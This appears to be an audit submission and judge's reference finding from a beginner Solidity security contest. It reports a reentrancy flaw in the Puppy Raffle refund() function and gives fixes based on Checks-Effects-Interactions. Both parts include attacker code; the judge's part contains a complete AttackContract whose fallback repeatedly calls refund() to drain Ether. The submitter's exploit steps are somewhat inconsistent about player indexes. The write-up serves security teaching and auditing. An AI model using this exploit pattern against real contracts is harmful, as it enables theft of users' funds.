Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() allows draining funds - CEI violation

Root + ImpactDescription

In PuppyRaffle::refund() function, it sends ETH to msg.sender BEFORE clearing the player data. This violates Checks-Effects-Interactions (CEI) pattern. A malicious contract can re-enter refund() in its receive() function and drain the contract.

Vulnerable code:

@> payable(msg.sender).sendValue(refundAmount); // INTERACTION first
@> players[playerIndex] = address(0); // EFFECT after

Description

// Root cause in the codebase with @> marks to highlight the relevant sectionfunction refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:High:High: Easy to exploit, any player can become attacker by deploying attacker contract

Impact:High: Attacker can drain entire prize pool + refundsAll honest players lose fundsBreaks core accounting logic of the raffle

Proof of Concept -Attacker enters raffle with 1 ETH via attack contractAttacker calls refund()Inside refund(), ETH is sent to attacker contractAttacker's receive() calls refund() again before state is clearedLoop continues until contract is drained

1. Attacker enters raffle with 1 address
2. Deploys attacker contract:
receive() external payable { puppyRaffle.refund(1); }
3. Calls refund(0) -> gets ETH but players[0] not zeroed yet
4. receive() auto-calls refund(1) again -> drains
​
Mitigation: Put players[playerIndex] = address(0) BEFORE sendValue and add nonReentrant modifier.

Recommended Mitigation-Explanation: By zeroing storage before sending ETH, re-entrant calls will fail the require(playerAddress != address(0)) check. Additionally, consider adding nonReentrant modifier from OpenZeppelin.

function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender);
require(playerAddress != address(0));
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
+ import ReentrancyGuard and inherit it
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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